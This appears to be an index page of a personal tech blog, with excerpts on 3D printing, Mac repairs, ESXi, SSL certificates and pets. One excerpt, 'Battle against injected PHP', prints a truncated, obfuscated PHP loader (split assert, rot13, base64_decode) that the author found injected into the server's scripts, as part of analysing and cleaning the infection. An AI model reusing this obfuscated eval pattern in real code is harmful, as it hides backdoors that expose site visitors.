Adventures in Ender 3 Pro Noise Reduction (plus a Review)</h1> <article> <h1>Adventures in Ender 3 Pro Noise Reduction (plus a Review)</h1> <p>Sun, 15 Mar 2020 01:37:18 +0000</p> <p>I recently acquired an Ender 3 Pro. I was immediately impressed with how nicely organized everything is with it. Granted, the last printer I actually bought was one of the very first MakerBot kits. Anyway, I love my little Ender 3 Pro. As someone who’s done a lot of custom printer work, I couldn’t help but make changes, as much as I bought this machine specifically with the intent of changing nothing.</p> </article> <article> <h1>Fix INACCESSIBLE_BOOT_DEVICE with Boot Camp Windows Systems</h1> <p>Thu, 19 Dec 2019 01:21:00 +0000</p> <p>Like any self-respecting computer geek, I like everything. I typically run-up Windows on my Macs by installing it via Boot Camp, and then booting it as a VM. This lets me run everything in parallel, but also go full native mode when needed.</p> <p>Recently, I found I couldn’t boot my Windows natively any more, though it would still work fine in my VMware Fusion. When booting natively, my Windows install with BSOD on an INACCESSIBLE_BOOT_DEVICE exception. After a bit of googling, I found that this was likely related to storage drivers. I ultimately managed to fix my Windows environment (without a reinstall), here are the steps:</p> </article> <article> <h1>Make an old Mac OS X install DVD from macOS Catalina</h1> <p>Wed, 27 Nov 2019 22:35:51 +0000</p> <p>This brief post is just my notes specifically on how to make a Mac OSX Lion install DVD from within macOS Catalina. This isn’t really meant to help anyone other than my future self. But I hope it helps the odd other person too.</p> <p>Step 0. Optionally order a copy from Apple, do a search online and you can find Lion and Snow Leopard disks still available for order directly from Apple, as of late 2019.</p> </article> <article> <h1>3D Printable Makita Wall Hanger</h1> <p>Sun, 31 Mar 2019 10:46:11 +0000</p> <p>I adore my Makita Cordless Electric drills and have long since wanted to print hangers for them to go on my walls along with other valued tools. The preexisting models I could find all were kind of corny. The challenge here was the Makita drill has a super fluid shape, nothing is square to anything.</p> <p>Here’s what I came up with:</p> <p><figure> </picture> </figure> </p> <p>The red model is what I made. I found a really impressive CAD model for a Makita drill <a href="https://grabcad.com/library/makita-cordless-drill">here</a>. This helped me not have to carefully measure my as-built drill.</p> </article> <article> <h1>Maine Coon Kitty Hunt: Round 3</h1> <p>Sun, 12 Aug 2018 23:12:12 +0000</p> <p><em>Here’s the sequel to my last Maine Coon Kitty post, <a href="https://dawning.ca/2018/maine-coon-kitty-hunt-round-2/">round 2 (here</a></em></p> <p>After the wild success following our adoption of our (first) awesome Maine Coon, from Major Tom Maine Coons located in Nova Scotia Canada, we decided to adopt another kitten from this awesome breeder.</p> <p>I’m now finding I’m getting asked from folks looking for a good breeder for comments on my experience with Major Tom Maine Coons. So I decided to create this post to help aid in my replies.</p> </article> <article> <h1>Trash Talker for Windows Launches</h1> <p>Fri, 29 Jun 2018 07:45:50 +0000</p> <p>I’ve finally managed to get a version of Trash Talker published in to the Microsoft Store. This was based on the old <a href="https://dawning.ca/archives/projects/software/stp/">STP code</a>, but I made a number of improvements that make the app much better.</p> <p><a href="https://www.microsoft.com/en-ca/p/trash-talker/9pl9s4495ddv"><figure> </picture> </figure> </a></p> <p>This app is a remake of a remake. The original app be the classic <em>Shit Talker, by Jaundice</em>. I enjoyed Shit Talker as a kid. I used to it call my friends and annoy them. (Given I’m a youngest sibling, it has been my classic duty to find creative ways of annoying others.) Trash Talker is a modernization of Shit Talker that tries to be a little cleaner, but stays quite true to the original. I have a few plans for things I’d like to add to this app, so check back every so often for updates.</p> </article> <article> <h1>Death by PEBKAC evaded by amazing ZFS snapshot CTRL+Zery</h1> <p>Fri, 09 Mar 2018 19:23:27 +0000</p> <p>Tonight I was doing a little development work towards a telemetry system I’m building for a thing. Along the way I managed (like a 10/10 n00b) to delete a bunch of vital configs on my reverse proxy server that handles all my traffic. Thanks to the amazing ZFS snapshot function made easily available by <a href="http://freenas.org">FreeNAS</a>, I was able to recover from this otherwise devastating fckup, super fast and without service disruption.</p> </article> <article> <h1>Maine Coon Kitty Hunt: Round 2</h1> <p>Mon, 19 Feb 2018 12:15:38 +0000</p> <p>Following our initially discouraging attempt to get our first Maine Coon kitten (discussed in my <a href="https://dawning.ca/2018/maine-coon-kitty-hunt-round-1/">Maine Coon Kitty Hunt: Round 1 post</a>), we kept pushing and made connections with various Maine Coon Breeders that were all very easy to talk to and seemed quite knowledgeable.</p> <p>After another several weeks, it all came together wonderfully we and we now have a little ~11week old Maine Coon kitten.</p> <p><figure> </picture> </figure> </p> <h2 id="list-of-maine-coon-breeders-we-had-positive-contact-with">List of Maine Coon Breeders We Had Positive Contact With</h2> <p>Note this is not an exhaustive list or a paid ad or anything. This is just my personal list of breeders that responded to my initial out-reach and then continued to chat with us. I sent out messages to quite a few breeders and roughly half of them never even responded.</p> </article> <article> <h1>Maine Coon Kitty Hunt: Round 1</h1> <p>Tue, 23 Jan 2018 22:25:21 +0000</p> <h2 id="new-beginnings">New beginnings</h2> <p>Upon the natural end-of-life of the last of cherished <a href="https://www.google.ca/search?q=himalayan+cat&source=lnms&tbm=isch&sa=X&ved=0ahUKEwjQxprK5-_YAhVE12MKHbgRAJoQ_AUICigB&biw=1442&bih=901#imgrc=_">Himalayans</a>, we’ve mobilized in our quest to introduce in to our family two <a href="https://www.youtube.com/results?search_query=maine+coon+kittens">Maine Coon kittens</a>. We’ve been planning our pivot to Maine Coons for about 4 years now and we’ve casually attended cat shows to further affirm this is another suitable breed choice for us.</p> <h2 id="our-first-serious-maine-coon-breeder-candidate">Our first serious Maine Coon Breeder candidate</h2> <p>The first breeder we got fairly involved with is <a href="http://mariama.ca/">Mariama</a>, based in Sudbury, Ontario. We’d identified other prospects far closer to home (Alberta), but we fell in love with Mariama’s impressive photos.</p> </article> <article> <h1>Using pfsense to sign private wildcard SSL certificates</h1> <p>Wed, 17 Jan 2018 15:17:57 +0000</p> <p><figure> </picture> </figure> <a href="https://www.pfsense.org/download/">pfsense</a> is a wonderful router appliance <a href="https://en.wikipedia.org/wiki/FreeBSD">BSD</a> distro that I’ve enjoyed for some years now.</p> <p>I use the <a href="https://doc.pfsense.org/index.php/Certificate_Management">pfsense certificate manager</a> to issue certs for my VPN client devices. For my Internet-facing life, I have legit SSL certs for everything, I’ve a neurosis about it. But it’s bothered me that for my LAN servers, I’ve continued to use Self-Signed certs for interfaces. Today I fix that.</p> <p>Here are my notes on how to create and sign a wild-card SSL cert using pfsense for internal use. Note that this approach means you will make your own certificate authority which then must have its root cert installed on any machine you want to use your own certs.</p> </article> <article> <h1>VMware ESXi 6.5 - Replacing the default SSL/TLS certificates</h1> <p>Tue, 05 Dec 2017 17:43:47 +0000</p> <p>One of my weird hobbies is installing legitimate SSL certificates EVERYWHERE. Here’s steps for replacing the default self-signed garbage SSL certificates you get out of the box with VMware ESXi:</p> <p>Steps Get your SSL cert, obviously. You’ll need a <em>.key</em> file and a <em>.crt</em>. (If you need help at this stage, <a href="https://github.com/docdawning/ssl-kit">take a look at my SSL cert management scripts on github.</a>) Enable SSH access to your ESXi box. Login as root over ssh. (If you don’t know about this, perhaps this whole process is not for you at this time) From your root ssh session to your ESXi box, follow these steps:</p> </article> <article> <h1>Introducing ml1610-blaster - how you get a Samsung ML-1610 to work on macOS 10.13</h1> <p>Fri, 03 Nov 2017 14:32:43 +0000</p> <p><figure> </picture> </figure> The highly retro monochrome laser printer, Samsung ML-1610, continues to work just fine on macOS 10.13 High Sierra. However, getting driver support took me a long time to figure out a while ago. I got something worked out for macOS 10.12 (Sierra) and posted about it <a href="https://dawning.ca/2017/printer-samsung-ml-1610-on-macos-10-12-sierra/">here</a>.</p> <p>To my great surprise, my old post on getting this going has become the most popular, heavily visited post on dawning.ca. So… I’ve revised things and spun this in to what I’m calling “ml1610-blaster”. There’s a github repo hosting it, here: <a href="https://github.com/docdawning/ml1610-blaster.git">ml1610-blaster.git</a></p> </article> <article> <h1>Using Apple Script to launch System Preferences in to highly specific location</h1> <p>Sat, 21 Oct 2017 14:00:28 +0000</p> <p>I’m working on my next update for my goofy little macOS application <a href="https://itunes.apple.com/ca/app/trash-talker/id1207969253?mt=12">Trash Talker</a>. This app heavily leverages macOS’s built-in Speech Synthesis engine.</p> <p>I wanted to add some user-support to help them edit the available voices. I could have just written-out instructions, but reading is for the literate. It took me a while to find a method that I guess will be a good starting point, which is to invoke an Apple Script to direct System Preferences to the right location.</p> </article> <article> <h1>iOS App: To Free, or not to Free, that is the question</h1> <p>Thu, 14 Sep 2017 08:40:21 +0000</p> <p>One of my iOS apps is <a href="https://itunes.apple.com/ca/app/search-site/id1204196412?mt=8">Search Site</a>, is a little functional thing I made mainly to help familiarize myself with the full workflow of iOS app development. (IE, it’s a glorified <em>Hello, World!</em> app). It’s been released for free for a few months and has had very few downloads.</p> <p>In the last month, it has suddenly started getting a relatively large amount of attention, specifically from Asia. I decided to try making it non-free, so I set it to the minimum possible paid value, $1CAD. After a week I decided to make it free again, for now.</p> </article> <article> <h1>LVM Recovery Bedtime Story: The tale of the journey home for some long lost bytes</h1> <p>Fri, 11 Aug 2017 23:11:58 +0000</p> <p><figure> </picture> </figure> Above: To the right is my hovel at the cottage I setup during my holiday-time-well-spent playing with ddrescue</p> <p><figure> </picture> </figure> I had an awesome <a href="https://en.wikipedia.org/wiki/Logical_Volume_Manager_%28Linux%29">LVM</a> for nearly 15 years. It saw me through high school, 8 years of post-secondary nerding and then some years after. The drives involved came and went, as I perpetually upgraded it. I loved it dearly. At its peak, it was comprised of 7 drives. Inevitably, the Seagate-reaper came to visit and the LVM was no more. It might have persisted, but I was younger and crazier and I took the <a href="https://en.wikipedia.org/wiki/Standard_RAID_levels#RAID_0">striped</a> path to ruin.</p> </article> <article> <h1>FreeNAS 11 Add a drive to create a mirrored ZFS volume</h1> <p>Wed, 09 Aug 2017 22:47:06 +0000</p> <p>Back in 2013 I cobbled together a <a href="https://forums.freenas.org/index.php?threads/create-zfs-mirror-by-adding-a-drive.14880/#post-81348">little guide within a post on the FreeNAS users forum</a> on how to add drive to an existing ZFS volume and convert it in to a mirrored volume. I can’t at all remember even writing this little thing, but recent discussion in the old forum over it brought in to doubt whether or not the method would still work. So I spooled-up a VM with the latest FreeNAS (FreeNAS 11) and tried it out. Yup. Still works, see:</p> </article> <article> <h1>VMware ESXi 6.5 Hypervisor on Dell 690</h1> <p>Wed, 09 Aug 2017 01:12:19 +0000</p> <p><figure> </picture> </figure> I picked up a Dell 690 from an e-recycler for $11. I picked it out knowing that I can kit-it-out with 64GB of slow DDR2 FBDIMM RAM for about $80 and I can replace the CPUs to get to 8 threads for another $30ish. I somewhat foolishly assumed VMware ESXi 6.5 would just run on this rig. I was wrong, kind of.</p> <p>Annoyingly, this motherboard seems fully electrically compatible with CPUs that are both dirt-cheap and supported by ESXi, however after a fair search of the internet, I found that the bios does not support such CPUs. The most <a href="https://www.bios-mods.com/forum/Thread-DELL-Precision-690-microcode-update?page=4">conclusive findings I encountered were these</a>.</p> </article> <article> <h1>Unix Magic Trick: Rename stuff in bulk</h1> <p>Fri, 14 Jul 2017 12:39:14 +0000</p> <p>Here’s a magic-trick I rock from time to time. I only graze the basic abilities of the “rename” program, but even in my basic use of it, I find it super helpful.</p> <p>In this case, I had a situation where my eBooks had been resorted from a massive flat directory in to one containing sub-dirs named with the prefix “Categories - “. I might have sorted them in another manner if I didn’t know about the rename command. When I was done sorting and thus left with my category-based directories, I then wanted to rename each dir to dump the prefix.</p> </article> <article> <h1>Dear Diary: Samsung ML-1610 on macOS 10.12 Sierra</h1> <p>Tue, 11 Apr 2017 08:25:20 +0000</p> <h2 id="new-version">New Version</h2> <p>A newer version <a href="https://dawning.ca/2017/ml1610-blaster-drivers-for-samsung-ml1610-on-macos-high-sierra/">is here</a>. I now call this <em>ml1610-blaster</em>.</p> <p><figure> </picture> </figure> I have a trusty Samsung ML-1610 printer that I think I bought for like $90 back around 2003. It’s been an outstanding little cheapie that so far has seen me through two undergrad programs and is now seeing my wife through her third such program. Overall, it’s unremarkable, but I like it enough to keep it going.</p> </article> <article> <h1>Dear Diary: GoDaddy Error Code 6007</h1> <p>Fri, 07 Apr 2017 09:36:01 +0000</p> <p>I’ve been working out a tolerable dynamic DNS solution for myself lately. After much effort, I’ve settled on running my own bind server (I last did this like 12 years ago, hah). I’ve written simple scripts that handle it for me and they work fine. However, I found for many of my domains hosted by GoDaddy, I couldn’t get it to use my new nameservers. Godaddy would let me switch my nameservers, but then they’d revert to their previous settings and I’d get an email containing the helpful message:</p> </article> <article> <h1>3D Printed Hard Drive mount for 27" iMac</h1> <p>Fri, 03 Mar 2017 23:54:10 +0000</p> <p><figure> </picture> </figure> <figure> </picture> </figure> <figure> </picture> </figure> <figure> </picture> </figure> One of my delightful neuroses is collecting abandoned non-functioning macs and fixing them. Last week I managed to pick up a completely dead 2010 one for $174, all parts included, just totally dead. Today I got the carcus of another for $51 (no screen, no memory, no motherboard, no glass). The carcus’ power supply happens to work and the $174 unit’s problem was exactly that - a dead PSU.</p> </article> <article> <h1>Trash Talker for macOS</h1> <p>Thu, 23 Feb 2017 18:37:20 +0000</p> <p><a href="https://itunes.apple.com/ca/app/trash-talker/id1207969253?mt=12"><figure> </picture> </figure> </a> I’ve released my first application for the macOS App Store. It’s a rebrand of a remake I did years back. I added some small new features based on requests I’ve had from users of the earlier version.</p> <p>A little over 8 years ago I posted <a href="https://dawning.ca/archives/projects/software/stp/">Shit Talker Phoenix</a> for Mac OS X here on dawning.ca for download. I eventually also made a Windows build. STP was an attempt to give myself a bit of a functional <a href="https://en.wikipedia.org/wiki/%22Hello,_World!%22_program">Hello World</a> project and to resurrect the classic Shit Talker by Jaundice which had become so old it was no longer functional in most cases. After posting my remake here on my blog, I found it actually has something of a user base.</p> </article> <article> <h1>Rules of Acquisition</h1> <p>Tue, 14 Feb 2017 13:53:18 +0000</p> <p>After getting an Apple Watch I decided to author an app for it. I was also re-watching Star Trek DS9 for the 50th time which means I kept hearing Quark (etc) recite the hilarious and disgusting Ferengi Rules of Acquisition. <a href="https://itunes.apple.com/us/app/the-rules-of-acquisition/id1163615092?mt=8">So I made it an app</a>.</p> <p><figure> </picture> </figure> </p> <p>The process required that I also make an iOS app to deliver the Watch app with, so I made that too. It’s served as an education project and I just released my second version (4th revision overall). The exercise would have been stunted had I made it free, as paid apps require the developer to suffer through various tax and legal fuckery, which I have.</p> </article> <article> <h1>Dear Diary: Arduino Due Development in Eclipse</h1> <p>Thu, 26 Jan 2017 16:38:32 +0000</p> <p>Here’s another diary entry.. Hence this is more for me when I later do a similar project and run in to the same head-aches. But maybe this will help someone else too.</p> <p>After much pain updating a well-endowed development environment configured for a work project, I ran in to various annoyances getting CDT for Eclipse working with the Arduino Due under Ubuntu 14.04. Below’s my approximate notes on how I navigated this delightful shitshow.</p> </article> <article> <h1>MacBook Pro Corpse Reanimations</h1> <p>Sun, 22 Jan 2017 21:32:10 +0000</p> <p><figure> </picture> </figure> </p> <p><figure> </picture> </figure> My Macintosh-hording neurosis project has equipped me with various (mostly) 2008-vintage MacBooks. I’m a particular sucker for the 17" ones. Two of them I paid $20 for, the other two were $34 and $50. Each one of them was sold for <em>scrap</em> as they were tested & reported as totally non-functional.</p> <p><em>I tend to take warnings for dares.</em></p> <p>Most actually worked fine with nearly zero effort. One needed its RAM reseated. But two of them were really dead, that is to say, I could not get them to POST. As a person who builds the odd thing, when I look at a “broken” device, I think to myself: <em>If I were gonna make one of those from scratch, this one’s like 99% done as-is.</em></p> </article> <article> <h1>Dear Diary: Windows 10 on early Intel Macs</h1> <p>Fri, 20 Jan 2017 15:40:46 +0000</p> <p>A local eRecycler is enabling me to develop kind of a thrilling computer-hording neurosis. I’ve managed to score 4 17" MacBook Pros and 2 15" units ranging from 2006-2008 vintages and it’s cost me very little. Some of these have serious problems, no matter, I’m having fun.</p> <p><figure> </picture> </figure> </p> <p>The 2008 Macs top-out at macOS 10.11, which is good for now. <a href="http://dosdude1.com/sierrapatch.html">There’s some room to bump them over the edge in to Sierra</a>, though I’m kind of pissed at Apple’s business model at the moment. I feel they’ve kind of abandoned the desktop entirely and the old machines are getting shafted the hardest. Granted they ARE old, Moore’s Law’s been on vacation for a while now. I guess we live in a <a href="http://www.dailydot.com/debug/phil-schiller-sad/">sad world</a> and anyone who buys a new Mac Pro will arrive in this well-populated sad space in about a year. 4,5,6 Apple. Seriously wtf? I know.. I know, it’s just business and the best margins are mobile. But I seriously digress.</p> </article> <article> <h1>Printing real skull models made from CT scans</h1> <p>Sat, 17 Dec 2016 16:46:54 +0000</p> <p><figure> </picture> </figure> About a year ago I processed raw CT data I acquired of a relative of mine and generated multiple 3D models. Since it was my first ever experience with 3D modelling, it took a while, but I figured it out and ended up with an intensely awesome model. Then I turned to my 3D printer and printed off a bunch of them. Suffice to say the whole thing lead to my designing and building of my second printer; the <a href="https://dawning.ca/printing/deltaflyer/">Delta Flyer</a>.</p> </article> <article> <h1>Battle against injected PHP</h1> <p>Sun, 13 Nov 2016 14:18:51 +0000</p> <p>My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:</p> <p>//###=CACHE START=### @error_reporting(E_ALL); @ini_set(“error_log”,NULL); …etc</p> <p>$strings = “as”; $strings .= “se”; $strings .= “rt”; $strings2 = “st”; $strings2 .= “r_r”; $strings2 .= “ot13”; $gbz = “riny(”.$strings2(“base64_decode”); $light = $strings2($gbz.’(“nJLtX….”));’); $strings($light); //###=CACHE END=###</p> <p>This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here’s an example apache log message generated by someone browsing an infected site:</p> </article> <article> <h1>MacPro3,1 upgrade to macOS Sierra</h1> <p>Sun, 16 Oct 2016 03:45:03 +0000</p> <p>The time came to upgrade my trusty <a href="http://www.everymac.com/systems/apple/mac_pro/specs/mac-pro-eight-core-2.8-2008-specs.html">MacPro3,1 </a>to macOS Sierra. As many know, El Cap is the latest build of OS X macOS that supports this platform. How to a MacPro3,1 on Sierra is well-documented, nevertheless this blog is half just a diary that I use to re-trace my steps later.</p> <p><figure> </picture> </figure> </p> <p>After making a backup image of my system, I used the <a href="http://dosdude1.com/sierrapatch.html">guide here to create a modified Sierra installer</a>. I then simply ran an in-place installation and sure-enough everything seems to be working. During the install, I swapped back in the original (coal-burning) video card. Afterwards I swapped back in my current GPUs and all was well. So far Sierra seems to run as good as El Cap, maybe.. Just maybe even better.</p> </article> <article> <h1>Boycott Yahoo!</h1> <p>Sat, 02 Jul 2016 02:11:26 +0000</p> <p>Yahoo! used to be an awesome business that had a few products I used. But I’ve noticed lately when I install certain free utility applications, Yahoo! has managed to pepper-in their own adware.</p> <blockquote> <p><em>Dear Yahoo!,</em></p></blockquote> <p><em>It’s time for a major course-correction. Either die entirely or get your crap together. Tricking people in to using your products is an impressively sketchy proposition. Cease and�desist�this�despicable practice right now.</em></p> <p><em>Yours truly,</em></p> <p><em>The entire Internet.</em></p> </article> <article> <h1>Illuminatrix</h1> <p>Wed, 22 Jun 2016 18:00:54 +0000</p> <p><figure> </picture> </figure> </p> <p>I first posted about my lighting solution in <a href="https://dawning.ca/2016/cupcake155-episode-4/">Cupcake155 Episode 4</a>, it’s since evolved a bit and it’s time for an update.</p> <p>Illuminatrix is mainly documented <a href="https://hackaday.io/project/9191-illuminatrix">here on hackaday.io</a> and the code assets are�<a href="https://github.com/docdawning/Illuminatrix">here on github</a>.</p> <p>The latest is it’s now fairly easy to install the Octoprint Plugin component of Illuminatrix. The instructions for that are posted on the <a href="https://github.com/docdawning/Illuminatrix/blob/master/README.md">readme on github</a>. Also, the Octoprint plugin was broken by changes in Octoprint at some point, so the plugin has been updated to fit the new requirements.</p> </article> <article> <h1>DeltaFlyer Episode II: Prime Line Rollers</h1> <p>Wed, 13 Apr 2016 11:14:08 +0000</p> <p><em><strong>DeltaFlyer Episode II was originally posted to <a href="https://hackaday.io/project/10115-delta-flyer/log/35160-episode-ii-prime-line-rollers">hackaday.io</a>. I’ve mirrored it here for my own purposes.</strong></em></p> <p>For the Delta Flyer’s maiden voyage, I opted to go cheap and use Prime Line rollers (referenced in an earlier log). They’re fairly inexpensive and I didn’t have much grief finding them at a couple different local stores. They definitely have slop in them, so they’re not really a good choice and probably go from rough to terrible as print speed is increased. Episode II here is to illustrate how well these actually work.</p> </article> <article> <h1>DeltaFlyer Episode I: First Flight</h1> <p>Wed, 13 Apr 2016 10:16:01 +0000</p> <p><em><strong><a href="https://hackaday.io/project/10115-delta-flyer/log/35156-episode-i-first-flight-of-the-delta-flyer">Delta Flyer Episode I is out, it’s on the Delta Flyer Project site on Hackaday.io</a>. I’m mirroring the episode here since my blog might out-live hackaday.io.</strong></em></p> <p>Last weekend I managed to get the Delta Flyer running. Most of the parts I’ve sourced came from very inexpensive (relatively) suppliers in China and I didn’t pay extra for shipping, meaning shipping has taken a very long time.</p> <p>I’ve also been a bit worried that calibrating a Delta would be really brutal and have been kind of dreading the potential pitfalls.</p> </article> <article> <h1>Cupcake155 Episode 5</h1> <p>Mon, 01 Feb 2016 00:27:59 +0000</p> <p>Cupcake155 Episode 5 is where I list some supporting alterations I’ve made that supporting its operation. These are all nice to have things.</p> <p><figure> </picture> </figure> </p> <p><a href="https://dawning.ca/printing/cupcake155/episode-5-cupcake155-augmentations/">Check out Episode 5 here</a>.</p> </article> <article> <h1>USB 3.0 on 17" MacBook Pro under El Capitan</h1> <p>Thu, 21 Jan 2016 23:45:09 +0000</p> <p><figure> </picture> </figure> </p> <p>I had added USB 3.0 functionality (via a GMYLE BC628) to my Late 2011 17" MBP <a href="https://dawning.ca/2014/dear-diary-usb-3-0-on-my-macbook/">as per my earlier post</a>. Mac OS X 10.11 El Capitan introduced a new layer of security that prevented my previous configuration from working.</p> <p>Fortunately, others have <a href="http://www.tonymacx86.com/general-help/181059-3rd-party-usb-3-0-genericusbxhci-kext-working-10-11-2-a-12.html#post1178686">figured out a road back</a>.</p> <p>Here are the steps: Backup everything and assume you’re about to trash your system. I am not responsible for what happens here. Boot in to your recovery partition, or on to a USB installer Execute:<strong>sudo csrutil disable kext</strong>. This disables kext signing. Boot back to your native system. (Note USB-booted environments probably don’t need the sudo component.) Download <a href="https://dawning.ca/uploads/2016/01/GenericUSBXHCI.kext_.zip">GenericUSBXHCI.kext</a> to your Desktop Run KextBeast, install to /Library/Extensions Reboot Profit!</p> </article> <article> <h1>Cupcake155 Episode 4</h1> <p>Sat, 16 Jan 2016 15:52:05 +0000</p> <p>Cupcake155 has been endowed with a sweet lighting system. I built it in an open way, so others can re-trace my steps without having to start from zero. It’s actually a pretty sweet system, I call it Illuminatrix.</p> <p>Check out <a href="https://dawning.ca/hardware/cupcake155/episode-4-cupcake155-gains-illuminatrix/">Cupcake155 episode 4 here</a>.</p> </article> <article> <h1>MacPro3,1 gains a GeForce GT 720</h1> <p>Mon, 28 Sep 2015 21:33:47 +0000</p> <p>It was time to upgrade my secondary video card on my trusty MacPro3,1. I first goofed considerably with a Radeon 5250. I even went so far as to bust out my old firmware editing tools to change the <em>vendor id</em> in a feeble attempt to get OS X to use it without needing to modify kexts. Then I heard that more recent nvidia cards are supported by NVIDIA’s “web” OS X drivers. I swapped the 5250 (with its firmware restored) for a GeForce GT 720.</p> </article> <article> <h1>Cupcake 155 Episode 3</h1> <p>Thu, 10 Sep 2015 17:07:55 +0000</p> <p><figure> </picture> </figure> </p> <p><figure> </picture> </figure> </p> <p>Episode #3 of my Cupcake155 project <a href="https://dawning.ca/hardware/makerbot/2015-episode-3-cupcake155-coarse-optimization/">has been posted</a>.</p> <p>The key jist being that I found on complex prints, I would typically get a few major slips in the print. There often were also places where the print delayed in a location for a time, this left scars too.</p> <p>Ultimately, a $10 SD board and a quick firmware change later and my prints were vastly improved.</p> </article> <article> <h1>Cupcake155 Stream</h1> <p>Sat, 28 Feb 2015 00:04:32 +0000</p> <p>(updated: I’ve switched from ustream to YouTube Live, this post has been retroactively updated as there’s no point with linking to old junk)</p> <p>I’ve been working on Episode 3 for a couple weeks now, but until I slay a certain dragon, the episode shall remain enroute.</p> <p>In the mean time, I’ve updated my <a href="https://dawning.ca/hardware/makerbot/">main printing page</a> with a copy of my live stream feed, so when I’m printing you can watch the video stream from that easy-to-find location.</p> </article> <article> <h1>Cupcake155 Episode 2</h1> <p>Sat, 14 Feb 2015 01:53:28 +0000</p> <p><figure> </picture> </figure> </p> <p>After roughly a month of effort, I’ve now got my old Cupcake heavily retro-fitted and running pretty well.</p> <p><a href="https://dawning.ca/hardware/makerbot/2015-episode-2-cupcake155-prints-with-mk8-rambo/">Cupcake155 Episode 2</a> gives the key details of how I modified my old MakerBot Cupcake in to something modern and unique. Others may find it helpful to re-trace my steps and perhaps get printing sooner!</p> </article> <article> <h1>Cupcake155 Episode 1</h1> <p>Wed, 04 Feb 2015 10:24:26 +0000</p> <p><figure> </picture> </figure> I’ve missed playing with 3D printing since I mothballed my printer years ago. It was shelved over major pains in getting the extruder to work properly. I also wasn’t especially fond of working with ABS plastic, which feels pretty toxic to me.</p> <p>A few weeks back I decided that my old printer, while in bad shape, was still most of a 3D-printer. I had been looking at ready-made products I could potentially buy, but I wanted the satisfaction of doing most of it for myself. I knew right-off-the-bat that I’d be replacing the extruder as it seems clear to me vast progress has been made about that point.</p> </article> <article> <h1>Multi-threaded tar/bzip2</h1> <p>Tue, 20 Jan 2015 15:25:03 +0000</p> <p>I often find myself banging my head against a wall watching tar compress with a single execution thread. <a href="http://compression.ca/pbzip2/">PBZIP2 is the solution</a> to that problem.</p> <p>Here’s my few recipes for using this:</p> <blockquote> </blockquote> <p>Compress: tar cf archive.tar.bz2 –use-compress-prog=pbzip2 archive/</p> <p>Uncompress:�pbzip2 -dvc archive.tar.bz2 | tar x</p> <p>Enjoy!</p> </article> <article> <h1>MacPro3,1 gets USB 3.0 support</h1> <p>Tue, 23 Dec 2014 19:03:31 +0000</p> <p>In my quest to keep my 2008 era Mac Pro (MacPro3,1) reasonably well suited to my needs, I recently decided to attempt to add USB 3.0 support.</p> <p>I recently bought myself <a href="http://www.amazon.ca/gp/product/B00ID2ZDCW?psc=1&redirect=true&ref_=oh_aui_detailpage_o00_s00">one of these babies</a>, <em>Inateck KT4004</em>. I like that it has 4 ports and no external power required.</p> <p><a href="https://dawning.ca/uploads/2014/12/61arZZQ-vjL._SL1300_.jpg"><figure> </picture> </figure> </a></p> <p>The Amazon page claimed this card is for the Mac Pro. I wasn’t sure if there would be weird driver issues and bought it with a little hesitation. I�installed it in about 2mins and upon booting I could immediately see it available:</p> </article> <article> <h1>Ubuntu 14.04 on Utilite Pro</h1> <p>Fri, 10 Oct 2014 11:06:06 +0000</p> <p>To the chase… It took me a long time to find this, but someone’s made a guide for building Ubuntu 14.04 from scratch for the Utilite. But better still, they’ve included a dropbox location to fetch images from.</p> <p>Here’s the <a href="https://github.com/umiddelb/armhf/wiki/Installing-Ubuntu-14.04-on-the-utilite-computer-from-scatch#download-a-prebuilt-archive-with-kernels-included">URL to the build guide</a>.</p> <p>Here’s the <a href="https://www.dropbox.com/sh/1ln93hvod4tki5s/AABMO2SGv8PJ2dTaQRV4DmROa?dl=0">URL to the download directory</a>.</p> <p>For installation, <a href="http://archlinuxarm.org/platforms/armv7/freescale/utilite">I’m�ripping-off the Arch installation instructions here</a>.</p> <p>The key step of the installation process I kept pulling up that guide to confirm I’m recalling correctly is: <em>bsdtar -xpf ArchLinuxARM-utilite-latest.tar.gz -C root</em></p> </article> <article> <h1>Dear Diary: Running Trac and upgrading to Ubuntu Server 14.04</h1> <p>Wed, 17 Sep 2014 17:17:20 +0000</p> <p>I’m a fairly heavy user of trac. I’ve got various software projects I organize using trac. I decided to upgrade one of my Ubuntu 12.04 servers to Ubuntu 14.04 and of course ran in to the typical apache2 headaches that are born out of this particular transition.</p> <p>After remembering to rename my virtual host files with .conf extensions (I find that change annoying as hell on its own), I kept running aground with an Internal Server Error message to which I couldn’t even find a hint in my logs, even after cranking up the verbosity.</p> </article> <article> <h1>Dear Diary: USB 3.0 on my MacBook</h1> <p>Tue, 02 Sep 2014 21:45:28 +0000</p> <p>Here’s the tale of getting USB 3.0 working in a tolerable regard on my 17" MacBook Pro.</p> <p>In short, it cost me about $10 and I had to install a custom, but generic kext to enable USB 3.0. Thankfully, all the heavy lifting was done for me by people with far more free time (lucky freaks).</p> <p>Here’s a visual of my final result:</p> <p><a href="https://dawning.ca/uploads/2014/08/10614170_10100189899662557_3043406805184849068_n.jpg"><figure> </picture> </figure> </a></p> <p>So come along with me on my tale of computery enhancement.</p> </article> <article> <h1>OSX Home, End, Pg Up, Pg Down</h1> <p>Wed, 16 Jul 2014 21:16:18 +0000</p> <p>Home, End, Pg Up and Pg Down, keys I use like a crazy-person. And yet, for reasons probably designed to break my mind and will, Apple opted for a fairly different and totally varying use for these keys. I wager it’s some sort of nod to super old-school Unix practices. Nevertheless, I’ve ripped out some hair over this and had many brief returns to Linux for my desktop platform over it.</p> </article> <article> <h1>Add RSYNC to VMware ESXi 5.x</h1> <p>Fri, 11 Jul 2014 15:34:41 +0000</p> <p>I’ve recently sufficiently mastered rsync to use it everywhere, constantly.</p> <p>ESXi doesn’t have rsync bundled, cause you know, when 16GB flash drives cost $8, you need to keep your hypervisor footprint down to a few MB? I dunno.</p> <p>Anyway, here’s where to download a build of rsync that’ll work on there:�http://damiendebin.net/blog/2013/12/06/esxi-5-dot-1-and-rsync/</p> <p>I just SCPed the file over in to my /opt/ and then symlinked it in to my path.</p> </article> <article> <h1>Dear Diary: Installing OSX 10.9 on Late 2007 MacBook</h1> <p>Sun, 13 Apr 2014 11:26:52 +0000</p> <p>Here’s my notes on how I approached installing�OSX 10.9 on my Late 2007 MacBook (MacBook3,1).</p> <p>Note I did most of this on a current Mac running 10.9.</p> <p>Also, this kind of 